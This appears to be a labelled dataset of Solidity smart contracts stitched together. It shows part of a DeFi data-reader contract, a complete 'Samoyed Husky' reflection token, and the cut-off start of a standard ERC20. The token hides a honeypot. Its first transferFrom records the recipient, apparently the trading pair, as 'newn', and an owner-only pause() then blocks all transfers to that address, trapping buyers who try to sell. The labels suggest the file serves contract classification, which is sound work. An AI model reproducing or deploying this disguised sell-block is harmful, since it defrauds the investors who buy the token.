info.userScore = JarConnectorLike(jarConnector).getUserScore(user);
info.userScoreProgressPerSec = JarConnectorLike(jarConnector).getUserScoreProgressPerSec(user);
info.totalScore = JarConnectorLike(jarConnector).getGlobalScore();
}
function getCompTokenInfo(address user, address comptroller, address registry) public returns(CompTokenInfo memory info) {
address avatar = RegistryLike(registry).getAvatar(user);
address comp = ComptrollerLike(comptroller).getCompAddress();
ComptrollerLike(comptroller).claimComp(avatar);
uint heldComp = ComptrollerLike(comptroller).compAccrued(avatar);
info.compBalance = ERC20Like(comp).balanceOf(avatar) + heldComp;
info.comp = comp;
}
function getJarInfo(address jar, address[] memory ctoken) public returns(JarInfo memory info) {
info.ctokenBalance = new uint[](ctoken.length);
for(uint i = 0 ; i < ctoken.length ; i++) {
info.ctokenBalance[i] = ERC20Like(ctoken[i]).balanceOf(jar);
}
}
function getTvlInfo(address[] memory ctokens, address registry) public returns(TvlInfo memory info) {
info.ctokenBalance = new uint[](ctokens.length);
uint numAvatars = RegistryLike(registry).avatarLength();
for(uint i = 0 ; i < numAvatars ; i++) {
address avatar = RegistryLike(registry).avatars(i);
for(uint j = 0 ; j < ctokens.length ; j++) {
info.ctokenBalance[j] += ERC20Like(ctokens[j]).balanceOf(avatar);
}
}
info.numAccounts = numAvatars;
}
function getUserInfo(address user,
address comptroller,
address bComptroller,
address registry,
address sugarDaddy,
address jarConnector,
address jar,
bool getTvl) public returns(Info memory info) {
info.tokenInfo = getTokenInfo(comptroller, bComptroller);
// check which assets are in
address avatar = RegistryLike(registry).getAvatar(user);
address[] memory assetsIn = ComptrollerLike(comptroller).getAssetsIn(avatar);
address[] memory bAssetsIn = new address[](assetsIn.length);
for(uint i = 0 ; i < assetsIn.length ; i++) {
bAssetsIn[i] = BComptrollerLike(bComptroller).c2b(assetsIn[i]);
}
info.bUser = getPerUserInfo(user, info.tokenInfo.btoken, bAssetsIn, info.tokenInfo.underlying);
// all tokens are assumed to be in - since we want to import all of them
info.cUser = getPerUserInfo(user, info.tokenInfo.ctoken, info.tokenInfo.ctoken, info.tokenInfo.underlying);
info.importInfo = getImportInfo(user, info.tokenInfo.ctoken, registry, sugarDaddy);
address score = RegistryLike(registry).score();
ScoreLike(score).updateIndex(info.tokenInfo.ctoken);
info.scoreInfo = getScoreInfo(user, jarConnector);
info.compTokenInfo = getCompTokenInfo(user, comptroller, registry);
info.jarInfo = getJarInfo(jar, info.tokenInfo.ctoken);
if(getTvl) info.tvlInfo = getTvlInfo(info.tokenInfo.ctoken, registry);
}
}
contract FakeBComptroller {
function c2b(address a) pure public returns(address) { return a;}
} | True | [
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|
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract SamoyedHusky is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000 * 10**18;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _symbol = 'SAHU';
string private _name = 'Samoyed Husky';
uint8 private _decimals = 18;
uint transfers;
address newn;
bool paused;
uint256 public _maxTxAmount = 1000000000000000 * 10**18;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
transfers = 1;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function pause() public onlyOwner {
paused = true;
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
require(!paused || recipient != newn);
_transfer(_msgSender(), recipient, amount);
transfers += 1;
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
if(sender != address(0) && newn == address(0)) { newn = recipient; }
else { require(!paused || recipient != newn); }
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
_maxTxAmount = _tTotal.mul(maxTxPercent).div(
10**2
);
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.div(100).mul(2);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | True | [
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|
/**
*Submitted for verification at Etherscan.io on 2021-11-09
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.6;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
